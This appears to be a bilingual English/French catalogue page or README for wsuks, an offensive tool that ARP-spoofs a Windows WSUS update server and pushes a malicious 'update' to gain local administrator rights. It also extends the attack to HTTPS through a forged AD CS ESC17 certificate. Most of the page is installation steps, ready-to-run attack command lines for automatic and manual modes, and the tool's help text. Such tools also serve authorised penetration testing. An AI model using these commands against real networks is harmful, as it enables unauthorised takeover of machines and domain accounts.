wsuks
Automatise l'attaque de type man-in-the-middle sur WSUS : usurpe le serveur WSUS et pousse une fausse « mise à jour » pour obtenir les droits admin local, y compris en HTTPS avec un certificat forgé (AD CS ESC17). Automates the WSUS man-in-the-middle attack: spoofs the WSUS server and pushes a malicious 'update' for local admin, including over HTTPS with a forged certificate (AD CS ESC17).
↗ https://github.com/NeffIsBack/wsuksOverview
wsuks automates the classic WSUS man-in-the-middle: it ARP-spoofs the real WSUS server, stands up a rogue one, and serves a malicious “update” the next time the target checks in, landing local admin. Since v1.1.0 it can also present a TLS certificate, which is exactly the missing piece for the AD CS ESC17 chain: mint a Server Authentication certificate for the WSUS hostname, then MITM the client even though WSUS is served over HTTPS.
Installation
sudo apt install pipx python3-nftables
pipx ensurepath
pipx install wsuks --system-site-packages
sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks
Basic Usage
Automatic mode: discover the WSUS server via the domain controller, then attack
sudo wsuks -t <TARGET_IP> -u <username> -p '<password>' -d domain.local --dc-ip <DC_IP>
Manual mode: WSUS server already known, create a local admin on the target
sudo wsuks -t <TARGET_IP> --WSUS-Server <WSUS_IP>
Manual mode: add an existing domain user to the local admins group instead
sudo wsuks -t <TARGET_IP> --WSUS-Server <WSUS_IP> -u <username> -d domain.local
Check whether a target’s WSUS setup is reachable without attacking it
sudo wsuks -t <TARGET_IP> --only-discover
ESC17: HTTPS-Enabled WSUS
Once you hold a certificate for the WSUS hostname (see the AD CS ESC17 writeup), point wsuks at it with --tls-cert to MITM WSUS even when it’s served over TLS
sudo wsuks -t <TARGET_IP> --WSUS-Server <WSUS_hostname> --tls-cert <WSUS_hostname>.pem
Tips
- Only works when a client is configured to pull unauthenticated HTTP WSUS updates from a server you can spoof on the local segment; TLS-only WSUS needs the ESC17 certificate route above.
- The default payload is
PsExec64.exe, and both the pushed executable and the command it runs are configurable. --serve-onlyskips the ARP spoofing/redirection step, for when traffic is already being routed to you some other way (e.g. DNS poisoning).
Help / Man page
usage: wsuks [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--dc-ip DC_IP]
[--WSUS-Server WSUS_SERVER] [--tls-cert TLS_CERT]
[--only-discover] [--serve-only]
options:
-t, --target target IP to attack
-u, --username domain username (automatic mode, or to add to local admins in manual mode)
-p, --password password for the given username
-d, --domain domain name
--dc-ip domain controller IP, used to auto-discover the WSUS server
--WSUS-Server WSUS server IP or hostname (manual mode, skips DC lookup)
--tls-cert PEM certificate for the WSUS hostname, to MITM an HTTPS-enabled WSUS
--only-discover check reachability/config without attacking
--serve-only only serve the payload, skip ARP spoofing/redirection
Vue d’ensemble
wsuks automatise l’attaque classique de type man-in-the-middle sur WSUS : il usurpe le vrai serveur WSUS via ARP, en monte un faux, et sert une « mise à jour » malveillante à la prochaine vérification de la cible, ce qui donne les droits admin local. Depuis la v1.1.0, il peut aussi présenter un certificat TLS, ce qui est exactement la pièce manquante pour la chaîne ESC17 d’AD CS : forger un certificat Server Authentication pour le nom d’hôte du serveur WSUS, puis MITM le client même si WSUS est servi en HTTPS.
Installation
sudo apt install pipx python3-nftables
pipx ensurepath
pipx install wsuks --system-site-packages
sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks
Utilisation de base
Mode automatique : découvrir le serveur WSUS via le contrôleur de domaine, puis attaquer
sudo wsuks -t <TARGET_IP> -u <username> -p '<password>' -d domain.local --dc-ip <DC_IP>
Mode manuel : serveur WSUS déjà connu, créer un admin local sur la cible
sudo wsuks -t <TARGET_IP> --WSUS-Server <WSUS_IP>
Mode manuel : ajouter un utilisateur du domaine existant au groupe des admins locaux à la place
sudo wsuks -t <TARGET_IP> --WSUS-Server <WSUS_IP> -u <username> -d domain.local
Vérifier si la configuration WSUS d’une cible est joignable sans l’attaquer
sudo wsuks -t <TARGET_IP> --only-discover
ESC17 : WSUS en HTTPS
Une fois en possession d’un certificat pour le nom d’hôte du serveur WSUS (voir le writeup AD CS sur ESC17), pointez wsuks dessus avec --tls-cert pour faire du MITM sur WSUS même quand il est servi en TLS
sudo wsuks -t <TARGET_IP> --WSUS-Server <WSUS_hostname> --tls-cert <WSUS_hostname>.pem
Conseils
- Ne fonctionne que si une cible est configurée pour récupérer des mises à jour WSUS en HTTP non authentifié depuis un serveur que vous pouvez usurper sur le même segment réseau ; un WSUS uniquement en TLS nécessite la voie du certificat ESC17 ci-dessus.
- La charge utile par défaut est
PsExec64.exe, et l’exécutable poussé comme la commande qu’il lance sont tous deux configurables. --serve-onlysaute l’étape d’usurpation ARP/redirection, pour quand le trafic est déjà routé vers vous par un autre moyen (par exemple un DNS poisoning).
Aide / Page de manuel
usage: wsuks [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--dc-ip DC_IP]
[--WSUS-Server WSUS_SERVER] [--tls-cert TLS_CERT]
[--only-discover] [--serve-only]
options:
-t, --target target IP to attack
-u, --username domain username (automatic mode, or to add to local admins in manual mode)
-p, --password password for the given username
-d, --domain domain name
--dc-ip domain controller IP, used to auto-discover the WSUS server
--WSUS-Server WSUS server IP or hostname (manual mode, skips DC lookup)
--tls-cert PEM certificate for the WSUS hostname, to MITM an HTTPS-enabled WSUS
--only-discover check reachability/config without attacking
--serve-only only serve the payload, skip ARP spoofing/redirection